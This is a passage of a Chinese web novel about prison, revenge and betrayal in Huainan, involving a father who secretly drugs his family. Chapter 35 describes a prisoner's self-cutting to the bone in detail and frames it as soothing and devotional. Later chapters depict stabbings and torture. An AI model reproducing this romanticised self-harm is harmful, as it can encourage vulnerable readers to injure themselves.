“还想着谈大人呢?”狱卒一脸不耐烦,连饭碗都放得极响,听着几乎是摔在地上的,“谈大人亲自下淮南了,别想他多逍遥了,你便在这牢房里等死吧。” 淮南。 这两个字在沈适忻心上攀了一圈,有说不出的错愕。 谢璇衣说走就走了? 为什么。 第35章 狱卒来得急促,走得更是迫不及待。 手刚放下饭碗,一双脚却像连脚尖都舍不得转过来一样,朝着后方错了几步。 沈适忻适应不了天牢中的食物。 如果它们还能被称为食物。 不过是些极其难以下咽的冷糠和厨余菜根,甚至是他从没见过的。 他已经许多日没有正常进食了,平日里不是盯着那一处下雪的天窗,就是闭目养神。 他尽情幻想过自己会死,但理智知道不会。 只不过选择权在谢璇衣手上。 如果他放过那几个最后的亲信,留下他们的命,那么他策划的劫狱就会照常运行。 沈适忻闭着眼时,青紫的血管在薄薄的眼皮下格外显眼,一张脸又白得没什么血色,在阴惨的天牢里,倒真像是修罗道里爬出来的恶鬼了。 天牢远处,隐隐有脚步声在狼吞虎咽的进食声中穿插着,格外突兀。 脚步一刻不停,冲着沈适忻来。 靠近时,才能看到,来人身形窄小,手持一盏狱卒常用的防风烛台,身披兜帽。 兜帽完全盖住了来人的面颊,沈适忻盯着,眯了眯眼。 “主子。” 女人静了静,摘下兜帽,低下头代替行礼。 沈适忻的表情没什么变化。 “阕梅,他收下了。” “是,主子,”阕梅隔着栏杆,很小声地快速道,“谈公子身边没有什么姿态过分亲密的人,来往密切的只有两人,或许只是同僚与手下,主子不必过于在意。” “谈大人接了圣旨,即日远调淮南,车马昨日便已启程,此行仓促,看来另有隐情。” 一口气禀报完收获,阕梅又很微妙地压低了一点声音,说不出是心虚还是迟疑。 “至于痕迹……属下并未在谈大人手指上瞧见任何痕迹。” 沈适忻抓紧栏杆,猛然道:“没有?你可看仔细了?” 阕梅没有为气势折腰,诚实而谨慎地摇了摇头,发丝跟着轻晃,“千真万确,属下看过多次,若如您所说,有一道边缘明显的白痕,那应当很好分辨的。” 沈适忻抓在栏杆上的手一点点失去力气,最后彻底松开,骤然脱力砸在稻草堆上,发出“啪”一声脆响。 阕梅低着头,“主子,这是很正常的,您亦是习武之人,应该晓得。” “若是长久不练剑,恐怕下次再想活动,连如何握剑都会忘记,又何况是硌出来的痕迹。只消三四年,就会不复存在了。” 她这话无疑是在沈适忻心口上割出一道新伤。 他看着套在手指上的银色,眉眼间的哀伤和温柔几乎满溢。 在狱中几日,他连手指都消瘦不少,本就松松套在指头上的戒指,现在更不合适,几乎只是提起手腕,戒指就能从第二处骨节上直接滑落。 他最后一次见到谢璇衣戴那枚戒指,是六年前。 那时候,他第一次对谢璇衣说出最恶毒的咒骂,讽刺他卑贱,之后便像是江河水开了闸,源源不断。 沈适忻适应说出这种贬低,谢璇衣却不能。 所以从那之后,他就没有戴过戒指。 那满打满算,谢璇衣戒痕彻底淡化消失的日子,也不过宫变那日后的几月。 原来谢璇衣早就心思,却还是捧着那颗行将就木的心与他虚与委蛇。 如果他没有因为对方的容忍有恃无恐,甚至他能早一点回心转意,也许现在一切都还有挽回的余地。 也只是也许。 现在他连说出那个“也许”的机会都不曾再有了。 “主子,关于坊间,”阕梅看着他没有表情,独自消化了一阵,才敢大着胆子咬牙道,“真是越发乱了,官府派出的人马已经应接不暇,每日伤人的、互殴的人数都在骤增,每况愈下,恐怕等到那日不远了。” “……也有人在谈论您与‘巫蛊’的事情,痛骂您诅咒永朝早亡,不配为人臣子,就该早日极刑处死。不过这些人说这些话,自然也是别有所图,您莫要放在心上。” 阕梅看着眼前的男人。这是她第一次用俯视的视角,看这位从前从不近人的主子。 她被沈适忻收留的时候,不过十四岁,混在乞丐堆里,连口饭都吃不上,那时候沈适忻像她这样俯视她,问她想不想吃饭。 她当然想,所以她跟上了沈适忻。 也从此过上了啖人骨血的日子。 可她也确实未曾见过男人如此落魄的时候。 她还想找补几句,把话说得漂亮些,沈适忻却已经作出了回答。 他只是“嗯”了声,一字未出。 阕梅的补充都卡在喉咙里,无话可说。 他们都不是还会为漂亮话喜悦的年纪了,自然也没有粉饰的必要。 “主子,您藏好,若是有机会,等不到属下,您可以强行杀出去。” 她从斗篷内侧取出一把形状漂亮的小刀,从缝隙里塞给沈适忻,之后来不及说什么,就匆匆离去。 沈适忻始终看着手上的戒指,情绪不知为何翻涌,竟然堵得他有想落泪的冲动。 为什么总要这么迟,为什么只有谢璇衣彻底失望他才会回头,为什么他会让谢璇衣重蹈母亲的覆辙。 谢璇衣的戒痕消失了,没关系,可以留在他手上。 沈适忻几乎疯魔一般,想要把戒指固定在手指上,却又担心捏得变形,抓心挠肝,胸口里像是燃着一团野火。 为什么,为什么他连套上的几乎都没有。 不可以,他必须要留下痕迹,足够清晰的痕迹,好让他记住,他做过的那些不堪之事。 沈适忻从地上捡起那把刀,单手用力一别,褪下玄黑的刀鞘。 小刀的刀刃是很浅的灰黑色,在本就不充足的光线下格外冷肃。 沈适忻右手抓着刀柄,不管不顾地压在中指的第二处骨节后,用力割下。 鲜血如注,他却不甚在意,很快落下第二刀。 第三刀。 第四刀。 最后连刀尖刮在骨头上的声音都隐约可闻,令人牙酸。 没关系,戒指的痕迹留不下,他可以自己来。 若是结痂了,就再次挑开,重新染上血腥,他要连绵不绝的钝痛提醒自己,他是谢璇衣亲手处以极刑的罪人,他罪孽滔天,不可饶恕。 沈适忻脸颊上沾着几滴温热的液体,光线太暗,瞧不出是血或是眼泪。 他紧紧盯着从伤口处不断涌出的血,虔诚地将戒指穿回手指上。 伤口深可见骨,狰狞外翻的皮肉阻挡住了戒指的脱落。 他看着,皱了皱眉,身手擦掉戒面上蹭到的血渍,却永远擦不干净,曾经只是微微黯淡的戒指现在一片狼藉。 他的血竟然这么脏,怎么会这样。 这么脏,怎么行呢。 他发了会愣,把整只左手按进那只新送来的冷水碗里。 细细密密的痛像蚂蚁在啃食着伤口,一点点吮吸掉最后的生气,沈适忻却觉得无比宽慰。 手从碗里抬起,淋漓带着水滴,他努力抬起手,镣铐脆响。 在微弱的天窗光线里,戒指上挂着浅粉色的水滴,伤口可怖,深可见骨,竟然和戒指是相似的颜色。 就似是把那一份情愫尽数熨帖进骨头里,再也拆不走了。 沈适忻唇角的笑意浓烈不少,本就病态的俊秀面容格外惊心动魄。 竟然连眼角小痣,都要在恍惚中误认作溅上的鲜血。 原来戒痕这么好得到,只要一直暴露着骨头的模样,他就能一直看到了。 这下戒指也不会再掉了,他也有自己的戒痕了,他会永远留下它,当做一份纪念留下。 他会惩罚自己,一辈子有愧于谢璇衣,一辈子心甘情愿地当一个耻辱柱上的囚徒。 终死不得再有回首。 第36章 下淮南的流民队伍庞大,一行人稀稀拉拉行了多日,跋山涉水。 路上有许多病倒的人、饿死的人,零零散散,最后异化成了一片蚂蚁大小的黑点,在眼底留下一个并不鲜艳的影子,便匆匆逝去了。 谢璇衣跟在人群里,裹紧打了补丁的素麻衣,抬头看去。 官鹤的鸟不远不近地盘旋在天上。 而官鹤一身官服,饰以简单易容,端坐在马车中,眉眼冷肃,倒真有几分高官做派。 他看向窗外光秃秃的树枝,一点绿意也无。 由他穿着官服,坐自己的马车,这是谢璇衣的安排,官鹤心存疑惑,却也没有反抗。 因而也并不知道谢璇衣正在流民堆里受苦。 马车的速度远远快过步行,官鹤抵达淮南,没瞧见谢璇衣,便先找了家客栈休息。 谢璇衣则不紧不慢,平日里有人搭讪试探,便装出一副怆然无助的模样,嗫嚅着说不出几句话来,渐渐地,也就没什么人再有同他搭话的心思了。 绝大多数时候,这支来路不正的队伍都是沉默的,偶尔会有草鞋鞋底擦在石头上的沙沙声,会有孩童被捂住的啼哭声,也有人倒地的沉闷响声。 他只是看着,连那位曾经帮过的大娘也不怎么搭理。 是,他是能从系统空间里换出足够的食物,请这些饥民吃一顿饱饭,可之后呢? 所以一开始,就最好什么都不表现。 临近城门时,谢璇衣慢慢落在队伍后面,一副忍饥挨饿到极点,快要撑不住的虚弱模样。 这样的情况并不罕见,多数人沉默地看着他,沉默地绕开。 等到人流已经彻底远去,谢璇衣慢慢从树底下站起来,清了清嗓子。 “系统,兑换一身便服。” 等到他整理完进城后,却发现城中的情况远比他想的要好。 没有外面炼狱一般的惨状,商贩、书生、妇孺,在人流如织的大街上穿梭,吆喝声此起彼伏。 甚至比他曾经见过的帝京还要繁华。 谢璇衣从人流里挤过去,默然地看着周遭的环境。 官鹤留的地址并不难找,店头的旗也显眼,他很快寻到大堂。 和官鹤交换完信息,谢璇衣手里摩挲着茶杯,一时没有说话。 他明面上是被皇帝派出来查办,其实是为了斩草除根,用沈适忻的命换沈老爷那老狐狸出洞。 只是这一路所见让他很难不怀疑。 真的能办到吗? 算了,不想那么多。 谢璇衣喝了口茶,呼出一口热气腾腾的气。 “官鹤,你对我了解多少。” 这个问题有些莫名其妙,官鹤呆了一下,张了张嘴,半晌才“啊”了一声。 “领事为什么这么问。” “因为我怀疑那老东西不会说实话,”谢璇衣看过去,视线从官鹤身上滑过,落在更远处的杯盏狼藉,“人,总要留两手准备的。” 更何况,他是不会忘了皇帝老头那些心思的。 他一直希望自己死,又怎么会轻易放过自己。 官鹤的面色有些不自然,垂下眼,眼睛上遮住疤痕,看着还有些不适应。 他整理了一下措辞,把了解的都讲了出来。 “……够吗?” 谢璇衣点头,松了口气,同时还有几分庆幸。 官鹤对他的了解甚至比他自己还多。 等谢璇衣休息一阵,填饱肚子,便由官鹤递过拜帖去。 自从沈老爷乞骸骨还乡后,沈家人迁到淮南一代,靠着为官的门路和基业经商,多做些茶叶、草药贸易,几乎垄断了这一带的经济作物。 谢璇衣不远不近地跟在官鹤的马车后面,一路上见到的药房少之又少,想来原因在此。 到了沈府,官鹤面色如常,由门人报了信,引着到了前厅落座。 谢璇衣则从无人的角落摸过去,躲在厅前的死角处,靠着半开的窗子偷听。 “……不过是来淮南查办些琐事,蒙受沈老爷这番招待,下官实在惶恐,恐怕担不起老爷这番厚爱。” 官鹤推辞了一下,无比惋惜地看着杯中漂浮舒卷的茶叶。 茶汤颜色澄净,香气扑鼻,显然是好茶。纵然官鹤不懂茶,却也能看出这茶质量不差。 谢璇衣在厅外听到,默默查了下系统。 一两竟要三十余两银子,这可不是一个小数目。 早猜到沈家赚钱,却没想过是此等暴利。他当沈老爷是看到前朝势力纷纭,恐怕牵连自己,才早日告老还乡。 没想到是靠着沈适忻抓稳了淮南这一块肥肉,想要弃卒保车了。 屋内的谈话还在继续,两人的寒暄过分公式化,官鹤也不是会主动挑话头的性格,不过借着帝京近来琐事聊了一通,再言语,便显得有些苍白了。 谢璇衣听着正无从下手,却听屋内,一人的茶杯轻轻放下。 沈老爷声音苍老,含着些沙哑,却像是一把钝刀子。 他叹了口气。 “谈大人,或者……该叫您谈大人吗?” “越庖代俎,伪装朝廷命官探听消息,可是死罪。” “如此,便由我这个昔日老臣,来替陛下先斩后奏吧。” 沈老爷面色一沉,胡子下的嘴角微微上扬,“来人啊,拿下他。” 屋内的动静乱起来,谢璇衣眉头紧锁。 不会,官鹤没有任何纰漏,为什么沈老爷会这么笃定。 又或者,他根本没有找到任何线索,也并未发现他不是真正的谈素星。 他只是想置自己于死地罢了,竟是阴差阳错拉了官鹤这个替罪羊。 正此时,屋内传来刀子贯穿皮肤的刺耳声响。 谢璇衣闭了闭眼,握紧倏然出现的刀,从侧面窗子翻了进去。 沈老爷还在欣赏着官鹤被人围堵,自信过头,没料到身后越靠越近的人影。 直到两个影子重叠在一起,微微晃了一晃。 家丁惶恐叫道:“老爷……!” 冰凉的刀刃这才贴近沈老爷的脖颈。 “沈老爷慧眼,猜对了。” “下官倒是有几句话想问您,不知道老爷了解多少。不如移步安静之处,好好聊聊,也给下官解解惑。” 他冷着脸,语气带上威胁。“只您,与下官,二人。” 第37章 一时间,连要去围堵官鹤的家丁也手足无措,站在原地,目光在谢璇衣与沈老爷之间游离,一时不知作何举动。 有一个身材壮硕些的家丁一咬牙,像是要冲上来撞掉谢璇衣的刀,却还没抬出步子,已被官鹤从背后一刀洞穿心脏,面色悚然地倒在地上。 官鹤蹲下身,脸色从未这么阴沉过,一用力将刀拔出来,滚烫的血溅了一脸,顺着脖颈流下去。 他垂着手,握着匕首,扫视了一圈。 “谁还想动他?” 刚刚还只是手足无措的男男女女立刻惊惧起来,抽气声四面八方,一时只有后退,无一人敢再上前。 谢璇衣依然维持着威胁的姿态,意外地朝官鹤挑了挑眉,没料到对方还有这么帅的举动。 官鹤欲言又止。 有了官鹤动作在前,谢璇衣的绑架变得格外顺利。 他刀刃贴近一寸,锋利的冷铁在沈老爷的皮肤上留下一条红线似的痕,意有提醒。 “好。” 沈老爷疼得“嘶”了一声,只得答应。 两人维持着先前的姿势,一前一后出了前院,到了不常有外人来的卧房外。 外厅有红木圆几一张,圆凳四只,谢璇衣倒别上门,将刀收回刀鞘,也不等那些表面礼数,自顾自坐下。 “沈老爷,城外现在什么情况,您应该不会不知道吧,”谢璇衣指尖敲了敲桌面,一手扶着刀撑在地上,“饿殍遍地,灾民横行。” 沈老爷怪笑一声,“有所耳闻,怎么,谈大人今日来这一出的目的,莫非是替天行道,劫富济贫?” “知道就行。”谢璇衣也笑,没有接话。 他展开一张信纸,铺在桌面上,“沈老爷看看吗?您引以为豪的独子,都做了什么事。” 沈老爷只是看了一眼,眼里流露出几分轻蔑,把信纸重新放回桌面上。 看来沈家在京中的眼线比他预料的还要多。 谢璇衣不动声色地观察着沈老爷的神态。 “引以为豪?”沈老爷摇了摇头,没有一点被人威胁的自觉,甚至还从茶壶中倒了半杯茶,朝谢璇衣推过去,“我以为谈大人看得明白,没想到与那群酒囊饭袋没什么区别。” 谢璇衣没有一点被骂了的愤怒,反而抬眼,“哦?” “既然不是引以为豪的好儿子,又何苦留一个蠢材在前朝,不担心会牵连沈家?” 沈老爷看向他,又看了看那封信,最终只是摇头,“当然不会。陛下要做的只是杀鸡儆猴。沈家这些年安分得很,与沈适忻也毫无往来,谈大人莫非觉得,您的陛下有三头六臂,能同时维系住王畿与边镇的稳定?” 他那双苍老浑浊的眼珠里看不出一丝情绪,抬头纹深邃,显得格外精于算计。 他似乎毫不忌讳将这些揣测圣意的话说给谢璇衣听。 谢璇衣面上也没什么表情,平淡得仿佛事不关己。 沈老爷看了一会,倏然笑了,紫红的嘴唇扬起,干裂渗血。 “你和那个孩子不一样,怪不得沈适忻会这么在意你。” 谢璇衣不作声,茶水也不喝,任由它静静地放到一片冰凉。 “当年的谢家,有个蠢孩子为沈适忻掏心掏肺,最后惨死。哪怕那孩子死在沈适忻面前,他也没有一丝动摇,”沈老爷啧啧两声,似在感叹,却只是一番贬低的评判,“你可知此事?” “不知。”谢璇衣摇头,桌下撑着刀的手却不自觉握紧,暴露了真实想法。 沈老爷看他,“也是,谢家小门小户,本就没什么知晓的必要。” “谢家那孩子死不死,与我无关,但沈适忻的表现,我很满意啊。” 他话锋一转,语气缓和不少。 “沈老爷,这与我的问题无关了吧,”谢璇衣睁着一双清凌凌的眼,睫毛轻颤,“我似乎只让您看信。” 沈老爷没把他的威胁当一回事,只是笑,斜阳被窗户阻隔,房间内有些昏暗。 “我的药,很有效呢。” “药?” 谢璇衣皱起眉,重复了一遍,在心里呼唤系统。 查询异常。 系统的探测结果很快在他闹钟回荡起来。 没有异常。 沈老爷的行为没有异常,也就是早在四年前,甚至更早,他就在这么做了。 “兰娘的药,真是好用,也不枉费我费尽周折娶了她,”沈老爷语气得意,“沈适忻的娘出身鬼医世家,族中各种操控人心的药方代代相传,终于被我拿到。” “既然是她家的药,我便先用在她身上。” 沈老爷对自己所说的话毫不在意,像是在讲述游玩见闻一样,冷漠,却又有几分炫耀。 “我告诉她,我从不爱她,她得了怪病,需要一直吃药,否则我永远不会爱她。于是很快,兰娘便疯了,可她疯得太无用了。” 沈老爷摇了摇头。 “所以我选择了她的孩子。” “我告诉沈适忻,他的母亲不爱他,这个疯女人会想尽办法从我身边夺走他。” “他一日三餐里都有我下过的药。” 沈老爷顿了顿,喝了口茶水,盯着杯底的团花纹,似乎还在回味往昔。 “我也曾担心他会像兰娘一样,彻底变成一个偏执的怪物,可他没有。他比兰娘成功得多。” “就是可怜谢家那孩子,在我物色试验品的时候,主动撞了上来。” 他语气里毫无一丝惋惜之意。 “我告诉沈适忻,他不能对旁人好,否则那人便会恃宠而骄。” 于是那时候的沈适忻,便真切地相信着他的父亲,他“成长”的支撑。 也许在学府收到谢璇衣的示好时,他也曾经意外过,曾经想用少年人的善意回报过,可却被父亲“矫正”过来。 所以他也只是以冷漠和忽视回敬。 谢璇衣思绪飘远。 又或许,沈适忻的母亲也有清醒的时候。 或许会看着当年乖巧的孩子变得冷血无情,绝望痛哭,又被已经扭曲的沈适忻当做她“疯的彻底”的证明。 说来也是巧,谢璇衣讥讽地笑了笑。 一个从未见过阳光的人,曾经爱上乌云,这何尝不是一种命运的玩笑。 可这妨碍他恨沈适忻吗? 谢璇衣心里怅然。 大概并不妨碍。 乌云背负的雨,凭什么要全部落在一个过路人身上,他又何罪之有。 “沈适忻学得太好了,”沈老爷的声音把谢璇衣拉回现实,“他甚至打动那孩子,替他挡下一箭,否则怎会有让我发现他天赋的机会?说来我还要感谢谢家那孩子呢。” 谢璇衣声音发紧,“沈老爷,你就没想过自食恶果的那一天?就没想过沈适忻会脱离控制,或者彻底变成一个疯子?” “不,他活不到那一日的。” 沈老爷居高临下地盯着他,唇角的弧度里满是自信,几乎能让人想象到他当年义无反顾选择新帝的姿态。 “这么多年,我的药未曾断过。他会一日比一日疯狂,或死在刺杀里,或被那位陛下杀掉,即使他时运极佳,躲过天灾人祸,这些年的药,也足够他死在而立年前。” “听说沈适忻前些日子重伤,还要□□,恐怕一腹的内脏都要搅碎了。看来已经疯得彻底了。” “何况这些年来,他也不是我唯一一个猎物。” “是陛下吗。” 沈老爷没说话,不肯定也不否认,唯独神秘地笑了笑,有说不出的畅快。 谢璇衣手背上青筋暴起,他深吸了口气,一时间说不出话。 他现在憋着一腔的愤恨,既不能说,也不能咽,像是一拳打在棉花上一样无力。 他要恨的罪魁祸首是沈老爷,可他不能动手,他名义上的上司要留他活口。 直接造成他身心受创的凶手身陷牢狱,甚至也是疯子的牺牲品。 他的任务进度迟迟提不上去,甚至连一点成型的思路都抓不到,一团乱麻。 他早就应该赌上全部身家,放弃这次修补任务的。 凭什么,要让他一个受害者这么晚知道这一切,还无从改变。 他为什么总被一层又一层的弥天大谎包裹着。 谢璇衣长长吐出一口气,别过脸去,强硬地遏制住心底的一丝异样。 他不可以。他又有什么资格替四年前的自己原谅沈适忻。 他忍住一片头晕目眩,一手极力撑住桌子,勉强稳定下心神,看向沈老爷时,语气难以控制地变得阴冷。 “这些,与我问的有关吗?” “沈老爷,您该不会真的以为,我不能动手吧。” “当然有关,”沈老爷只当他是因为自己的炫耀而不耐烦,并不放在心上,甚至有闲心拍了拍衣摆上的灰,“我做了这么多,没人知道怎么行呢,去吧,去告诉你的陛下,让他派人来捉我。” 谢璇衣不接话,他便很有耐心地追问一句,意有挑衅:“怎么不敢?” “这些,即使我已经挑明了细细道来,恐怕谈大人您,也捉不到我分毫证据。” “所以谈大人,连这些事您都抓不到证据,又要替陛下‘查办’什么呢?” 沈老爷恢复了先前滴水不漏的笑容,等着谢璇衣灰头土脸地撤走。 他话语里的炫耀之意实在太重。 谢璇衣在他激励夸耀的时候稳住呼吸,努力平静下心神,避免情绪被对方觉察。 待到彻底无波无澜,谢璇衣便从佩袋里取出两张抄录,压在茶杯下。 “是,沈老爷都这么说了,我自然是查不出这些证据。” “但是沈家这些年应当在淮南购置了不少田产吧?”谢璇衣话锋一转,“据我所知,不少淮南一带的流民,是举家上下都走投无路了。” “据我所知,您一年之前开始在淮南兼并土地,凭一己之力抬高地价租金,却极力压低佃户收成,倒逼百姓南下,这应当没错吧?” 外面一直没什么动静,静悄悄的,两人对峙间,似乎隔绝了天地。 “不过大家族敛财之法,的确下作了些,却也合乎律法,怎么,谈大人要从此处治罪?” 看着谢璇衣负隅顽抗,沈老爷几乎要笑出声。 不过如此。 “确有此事便好,”谢璇衣颔首,“那一连三年洪水作祟,南面官道堵塞,东南庄稼北上昂贵,沈老爷也应该知晓?” 沈老爷不知道他要说什么,只能硬着头皮道:“当然。” “既然如此,沈老爷对于抬高地价租金的理由,又为何会是‘庄稼丰产’?” “淮南受涝灾并不严重,却也并非毫无影响吧,沈老爷竟能逆天而为,致庄稼大丰收?”谢璇衣勾起一抹冷笑,低头看了一眼纸上的小字,“不如请沈老爷北上帝京,好好与陛下道一道这改天换命一般的丰产之法。” 这些消息自然是他在流民堆里听来的意外收获。 至于那两张纸,则是他与那位大娘要来的废弃地契抄录,虽然抄录并无效力,但是作为证据,自然也足够了。 “沈老爷,只此而已吗?” “淮南与东南官道设卡,您利用沈大人前朝运作,扶植吴氏亲信任职,从中谋获的好处真是不少吧?” “可惜,您大概还不知道,吴家已然倒戈,吴娴姑娘可真是有双见风使舵的慧眼。” 沈老爷面容有一丝抽搐,谢璇衣慢慢将两张纸收回去,面色冰冷地与他对峙。 “我先前便说过,不过沈老爷贵人多忘事,那就再问一遍,您做这些事,就没想过自食恶果的那一天?” 门外骤然喧嚣声起,谢璇衣在厅中与他对话时,已有昔日沈适忻带给他的暗卫在城内张贴讯息。 此刻沈家之外沸反盈天,万人唾骂,群起而攻,几乎要撞破沈家的院墙。 谢璇衣站起身,刀鞘一提,挑掉门上的横阀。 他那张脸映在沈老爷杯中的茶水里。随着沈老爷的仓皇起身,水里的脸被波纹撞碎成一片片。 沈老爷忽然觉得自己看不清他。 又或许他从未看清,他一直把谢璇衣看得很轻。 眼见已经无力回天,沈老爷转身,用力搬起一只大花瓶,直直向谢璇衣砸过来。 谢璇衣刚要扬刀去拦,身后一把匕首已经飞过来,力道极其狠戾,瞬间洞穿沈老爷的腹部,将人整个钉在身后柱子上,动弹不得。 他吃痛松手,花瓶骤然摔碎在地上,溅起的瓷片划过谢璇衣的颧骨,渗下一滴艳红的血,比眼泪更刺目。 有人从门外走进来,一身华服上染透了血,看向谢璇衣的时候,面色全不似先前。 他叹了口气,伸出手,却是头一次没向谢璇衣行礼,而是悬停在身前。 “领事,把刚刚的证据给我。” “我还不想对您动手,闹得太难堪。” 第38章 闻言,谢璇衣猛然回头,一双眼中满是意外地看向来人。 官鹤和他隔着几尺距离,不远不近,对视着,那副神情烙在谢璇衣视网膜上,陌生得可怕。 “领事,你躲不掉的。” 谢璇衣的沉默在官鹤眼里,便彻底成了拒不配合的象征。 他深深吸了一口气,慢慢靠近谢璇衣,他分明是占领了制高点,却像是心里有鬼,不敢直视谢璇衣的眼睛。 而在这之间,谢璇衣比他平静得多,除去最初挑破窗户纸的惊讶之外,并没有其他情绪。 官鹤内心瑟缩着,却还是欣慰的。 外面有脚步声,沙沙响着,官鹤一个眼神,便停步在门外。 他转回头看谢璇衣,装作为难,似乎是将选择权放在了谢璇衣手里,“领事,外面来的一半是百姓,一半是我的人,是您看清些,把那几张证据拿给我,留自己和那些流民一命,还是……” 他顿了顿,隐藏掉过分直白的话,无奈地笑了笑,“……不过皆在您一念之差。” 沈老爷眼珠惊惧地转,血顺着华贵的布料滴在地上,逐渐成了一小片鲜红的湖泊,点缀在灰黑色的地板上。 湖泊倒映出官鹤几乎要掩盖不住的情绪,也倒映着谢璇衣过于平淡的面色。 “领事,”他又重复一遍,语气几分滞涩,“念在昔日情分,我不想伤你。” “谁让你来的,”谢璇衣不回答,只是看他,将那几张炙手可热的薄纸攥在手中,像是抓着一烛炽烈的火,“摇光?” 他自顾自摇了摇头,否定了想法,“不,应当不会是他。” 答案呼之欲出,谢璇衣没有挑明。 “你为什么想要这份证据,这件事直接勾连的只有我与陛下,分明与你无关。” 官鹤拧着眉,刚要解释,一道生硬的女声冷哼,打断了还算和平的场面。 “官鹤,你还问他干什么,直接杀了,从死人身上摸便是了。” 门外水泄不通,环伺着一方小小前厅,唯独一个身形强壮高挑的女人走进来,把玩着手上的飞刀。 她一只眼珠是很黯淡的灰色,另一只却黑得吓人,头发摆动间,能看到脖颈侧面恐怖的瘢痕,偏偏口脂与蔻丹都涂得一丝不苟。 于是整个人瞧起来异常割裂,像是一具被东一块西一块拼起来的木偶人。 女人把飞刀高高抛起,又伸手接住。 她站得离沈老爷太近,对方一挣扎,血液便溅到女人的脚上,灰色的鞋晕开一片不和谐的红。 在沈老爷恐怖的目光里,女人飞刀刺了过去,钉住了他的手腕。 女人选择的关窍细致,不似外行,他痛得几乎昏死过去,却没出多少血。 她站在官鹤身边,几乎快和对方一样高,见官鹤看着自己没有动作,女人凤眼一挑,恶狠狠地看向他,“看我做什么,杀人啊,抢啊,别撞得多无辜,杀人越货的买卖,你比我清楚得多。” “我……我想和他聊聊,”官鹤深吸一口气,从女人身上收回视线,眼珠一转,看向昏死过去的沈老爷,“你先把他带走。” 女人抠了抠指甲上干涸的血,欣然应允,“行,我只给你一刻钟,一刻钟之后,要么证据拿出来,要么你和他一起死。” 她的尾音是上挑的,和吴娴有些相似,偏偏两个都是极为狠心的人物。 谢璇衣冷眼看着两人的交谈,好似把自己当做一件待价而沽的商品那样随意。 女人一把抽出官鹤的匕首,信手一抛,砸在茶几上,晃了两下,声响可怖。 她拽着沈老爷的头发出去了,临走时还警告似地瞪了官鹤一眼,伸脚钩上了房门。 “砰”一声,房门在谢璇衣身后关闭了。 谢璇衣看了一眼桌面上染血的刀,换了一处坐下,看着仍然站着的官鹤,反客为主。 “怎么不坐,你不是说要聊聊?那便聊吧,最好把什么都聊开。” 官鹤拉开凳子坐下,“你怎么不惊讶。” “我惊讶,我怎么会不惊讶”谢璇衣唇角弧度柔和,“可是惊讶能怎么样,倒不如想想,怎么从这位开阳大人的得力干将手中活下来。” “这才是要紧事,你说对吧?” 官鹤不作声,谢璇衣身子前倾,手肘撑在桌面上,托腮歪头,语气像是聊起一个稀疏平常的故事。 “这么瞧来,倒也不奇怪了,开阳为什么能抓到沈适忻的把柄。” “我先前还觉得他不能这么笃定,如今看来,倒是你为他提供了不少关键证据。” 官鹤欲言又止,不知道怎样开口。他手指抓着桌子边缘,像是重新回到面对谢璇衣时沉默又局促的时刻。 “你既然知道了,就把证据给我,今后,今后你便当做不认得我。” 谢璇衣换了一只手撑下巴,目光探究,“不过你为什么这么尽心尽力地替他做事。” “不为什么,只是一命还一命,”他摇头,“领事,别再问了。” 谢璇衣闭上眼睛,半晌轻声问他:“你当真要这么决绝吗?” “领事,你在拖什么?你还觉得能等来谁呢?”官鹤似乎觉得好笑,轻声笑了笑,却还是解答了谢璇衣,“迫不得已罢了。” “又或者,领事,你该不会喜欢沈适忻那个疯子吧?” 谢璇衣扯出的笑容很是冷漠,鬓角的发丝随着他的动作无风自晃,“你为什么会在意这个?” 官鹤只当他是默认,手指无意识地抓紧了,在桌面上刮出几道粉屑,语气里还有隐隐的不甘与绝望,“为什么,为什么我做了那么多都比不上他,为什么你会在乎他,你从来未曾过问过我。” “难道我做的还不够吗。” “不,”谢璇衣站起来,看着窗外的盛况,“我不爱他,也不爱其他任何人。” “喜欢一个人这种事,太费心思,太磋磨人。求不来长相厮守,也没有相互折磨的必要。” “多喜欢叫爱,多讨厌算恨,这都是太难定义的话语,我勘不破。” 得到了全盘否定的答案,官鹤还不死心,也一拍桌子站起来,语气里有隐隐可以察觉的焦躁。 “你把证据给我,我有药方,能帮你治沈适忻的疯病。” 话音一落,他才发现谢璇衣看他的眼神里有些奇怪。 “我不在乎你的药方,我只是想知道,为什么?” “为什么你这么执着,这和你的利益完全无关。” 官鹤一咬牙,“因为开阳领事想走。” 他说完,才发觉失言,连忙住口。 走? 谢璇衣在心里回味一番,说不出个所以然,更猜不透所谓的走是何意。 正此时,天上一声猛禽尖利嚎叫,风声猎猎,正朝着谢璇衣俯冲而下。 是曾经负责谢璇衣和官鹤信件交往的鸟。 此刻却是听了主人的命令,尖着鸟喙,要置他于死地。 官鹤终究还是听信了那女人的话。 真到了这一刻,谢璇衣心里竟然是平静的,他抽出长刀挡在深浅,抵住鸟的俯冲,随后一个闪身,转到官鹤身侧,禽鸟没料到他这一出,直冲冲对上了官鹤的面门。 尽管禽鸟扑棱着翅膀极力减速,却还是撞到官鹤身上,尖锐的鸟喙穿透他一侧锁骨上的肌肉。 官鹤被撞得失了神,摔倒在地,一时挣扎着起不来。 谢璇衣慢悠悠走过去,晃了晃他手里的宣纸,明知故问。 “你要的是它们吧。” “啪”,火折子的盖子摔在地上,轨迹不规则地滚了几圈,停在拱形的桌腿边。 火舌明亮,炙烤着干燥的纸面。 官鹤眼睁睁看着那三张纸在他面前化作齑粉,手一捻便碎得到处都是。 “现在没有了。”谢璇衣笑了笑,拍了拍手上的灰。 外面的女人目睹了一切,正要愤怒地冲进来对谢璇衣动手,流民之间却骤然惊起一阵骚乱。 谢璇衣也侧耳去听。 流民的话语东一句西一句,他勉强拼凑出一句完整的话。 城门被官兵堵了,严格管控出入。 那女人显然也意识到什么,拧着眉毛抓着一个瘦小的男人,飞刀抵在他脖颈上,威胁道:“那群官老爷说什么了?” 男人哆哆嗦嗦,“说,说,说要彻查什么,什么巫蛊的遗祸,要全城搜查。” 女人丢小鸡仔一样丢下他,无声骂了句,随即目光锐利如鹰隼,盯着屋内两人。 “别管什么证据了,先走!” 谢璇衣也被迫加入到开阳手下这只队伍里。 前面,官鹤低声对女人说了方才的结果,被女人一脚踹倒,骂了句“没用的东西”。 谢璇衣远远在后面看着,叹了口气。 “系统,重构本地数据。” 随后,几张与证据一模一样的纸落在他手心,任谢璇衣本人对比,都分不出谁先谁后。 他看着纸,叹了口气,不动声色地装回佩囊。 他拖了那么久,无非是要把这些纸存档。 好在重构几张纸的积分很少,否则他也不会选择这么肉疼的办法。 只是现在……要考虑的问题似乎不是这个了。 